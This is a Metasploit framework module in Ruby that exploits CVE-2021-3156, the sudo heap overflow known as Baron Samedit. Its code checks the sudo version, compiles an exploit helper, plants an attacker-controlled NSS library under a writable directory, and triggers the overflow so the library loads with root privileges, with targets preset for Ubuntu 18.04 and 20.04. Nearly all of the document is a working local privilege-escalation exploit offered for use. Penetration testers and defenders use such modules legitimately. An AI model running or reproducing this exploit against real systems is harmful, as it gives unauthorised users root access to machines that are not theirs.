##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Post::File
  include Msf::Post::Unix
  include Msf::Post::Linux::Compile
  include Msf::Post::Linux::System
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name'           => 'Sudo Heap-Based Buffer Overflow',
        'Description'    => %q(
          A heap based buffer overflow exists in the sudo command line utility that can be exploited by a local attacker
          to gain elevated privileges. The vulnerability was introduced in July of 2011 and affects version 1.8.2
          through 1.8.31p2 as well as 1.9.0 through 1.9.5p1 in their default configurations. The technique used by this
          implementation leverages the overflow to overwrite a service_user struct in memory to reference an attacker
          controlled library which results in it being loaded with the elevated privileges held by sudo.
        ),
        'License'        => MSF_LICENSE,
        'Author'         =>
          [
            'Qualys',                            # vulnerability discovery and analysis
            'Spencer McIntyre',                  # metasploit module
            'bwatters-r7',                       # metasploit module
            'blasty <blasty@fail0verflow.com>',  # original PoC
            'Alexander Krog'                     # detailed vulnerability analysis and exploit technique
          ],
        'SessionTypes'   => ['shell', 'meterpreter'],
        'Platform'       => ['unix', 'linux'],
        'References'     => [
          ['URL', 'https://blog.qualys.com/vulnerabilities-research/2021/01/26/cve-2021-3156-heap-based-buffer-overflow-in-sudo-baron-samedit'],
          ['URL', 'https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt'],
          ['URL', 'https://www.kalmarunionen.dk/writeups/sudo/'],
          ['URL', 'https://github.com/blasty/CVE-2021-3156/blob/main/hax.c'],
          ['CVE', '2021-3156'],
        ],
        'Targets'        =>
          [
            [ 'Manual', { } ],
            [ 'Ubuntu 20.04 x64 (sudo v1.8.31, libc v2.31)', { lengths: [ 56, 54, 63, 200 ] } ],
            [ 'Ubuntu 18.04 x64 (sudo v1.8.21, libc v2.27)', { lengths: [ 56, 54, 63, 212 ] } ],
          ],
        'DefaultTarget'  => 1,
        'Arch'           => ARCH_X64,
        'DefaultOptions' => { 'PrependSetgid' => true, 'PrependSetuid' => true, 'WfsDelay' => 10 },
        'DisclosureDate' => '2021-01-26',
        'Notes' => {
          'AKA'         => [ 'Baron Samedit' ],
          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
          'Reliability' => [REPEATABLE_SESSION]
        }
      )
    )

    register_options([
      OptString.new('WritableDir', [ true, 'A directory where you can write files.', '/tmp' ])
    ])

    register_advanced_options([
      OptString.new('Lengths', [ false, 'The lengths to set as used by the manual target. (format: #,#,#,#)' ], regex: /(\d+(,[ ]*| )){3}\d+/)
    ])

    deregister_options('COMPILE')
  end

  def get_versions
    versions = {}
    output = cmd_exec("sudo --version")
    if output
      version = output.split("\n").first.split(' ').last
      versions[:sudo] = version if version =~ /^\d/
    end

    versions
  end

  def check
    sudo_version = get_versions[:sudo]
    return CheckCode::Unknown('Could not identify the version of sudo.') if sudo_version.nil?

    # fixup the p number used by sudo to be compatible with Gem::Version
    sudo_version.gsub!(/p/, '.')

    vuln_builds = [
      [Gem::Version.new('1.8.2'), Gem::Version.new('1.8.31.2')],
      [Gem::Version.new('1.9.0'), Gem::Version.new('1.9.5.1')],
    ]

    if sudo_version == '1.8.31'
      # Ubuntu patched it as version 1.8.31-1ubuntu1.2 which is reported as 1.8.31
      return CheckCode::Detected("sudo #{sudo_version} maybe a vulnerable build.")
    end

    if vuln_builds.any? { |build_range| Gem::Version.new(sudo_version).between?(*build_range) }
      return CheckCode::Appears("sudo #{sudo_version} is a vulnerable build.")
    end

    CheckCode::Safe("sudo #{sudo_version} is not a vulnerable build.")
  end

  def upload(path, data)
    print_status "Writing '#{path}' (#{data.size} bytes) ..."
    write_file path, data
  end

  def exploit
    if target.name == 'Manual'
      fail_with(Failure::BadConfig, 'The "Lengths" advanced option must be specified for the manual target') if datastore['Lengths'].blank?
      arguments = datastore['Lengths'].gsub(/,/, ' ').gsub(/  +/, ' ')
    else
      arguments = target[:lengths].join(' ')
    end

    fail_with(Failure::NotFound, 'The gcc binary was not found') unless has_gcc?

    path = datastore['WritableDir']
    cmd_exec("mkdir -p #{path}/libnss_X")

    file_name = rand_text_alphanumeric(5..10)
    upload_and_compile("#{path}/#{file_name}", exploit_data('CVE-2021-3156', 'exploit.c'), '-lutil')
    upload("#{path}/libnss_X/P0P_SH3LLZ_ .so.2", generate_payload_dll)
    cmd_exec("#{path}/#{file_name} #{arguments}")
  end
end